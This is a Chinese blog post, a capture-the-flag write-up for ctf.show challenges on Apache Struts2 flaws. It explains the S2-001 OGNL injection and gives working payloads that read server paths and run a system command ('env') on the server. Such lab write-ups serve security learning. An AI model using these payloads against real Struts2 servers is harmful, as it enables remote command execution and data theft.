2021-10-14【从0开始学web】279-300 java

本文深入探讨了Struts2框架的安全漏洞,特别是S2-001命令执行漏洞。通过实例展示了如何利用OGNL表达式进行攻击,如获取系统路径、Web路径以及执行系统命令。此外,还提到了多个类似题目的解决方法,为读者提供了详细的参考资料和payload示例。
摘要由CSDN通过智能技术生成

【从0开始学web】279-300 java

279-297题都是struts2框架漏洞

Struts2是用Java语言编写的一个基于MVC设计模式的Web应用框架

web279

打开环境之后查看源码,s2-001是一个struts2命令执行漏洞编号

<a style='text-decoration:none' href='/S2-001/'>where is flag?</a>

继续访问:http://bf54d770-1181-4ba1-aeed-5d131b9f8fcb.challenge.ctf.show/S2-001/

一个登陆窗口,随便输入跳转到login.action,可以直接工具跑,github一下有很多

原理:struts2漏洞 S2-001是当用户提交表单数据且验证失败时,服务器使用OGNL表达式解析用户先前提交的参数值,%{value}并重新填充相应的表单数据

随便输入一个,在密码框输入 %{1+1}是会执行的

OGNL表达式中的三个符号 %,#,$

  • %的用途是在标志的属性为字符串类型时,计算OGNL表达式%{}中的值
  • #的用途访主要是访问非根对象属性,因为Struts 2中值栈被视为根对象,所以访问其他非根对象时,需要加#前缀才可以调用
  • $主要是在Struts 2配置文件中,引用OGNL表达式

payload:

// 获取tomcat路径
%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

// 获取web路径
%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

// 命令执行 env,flag就在其中
password=%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"env"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}&username=1

image-20211014205357641

web278-297

同上操作

详细可以参考:http://metronic.net.cn/metronic/show-59224.html

后续再详细补充。

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值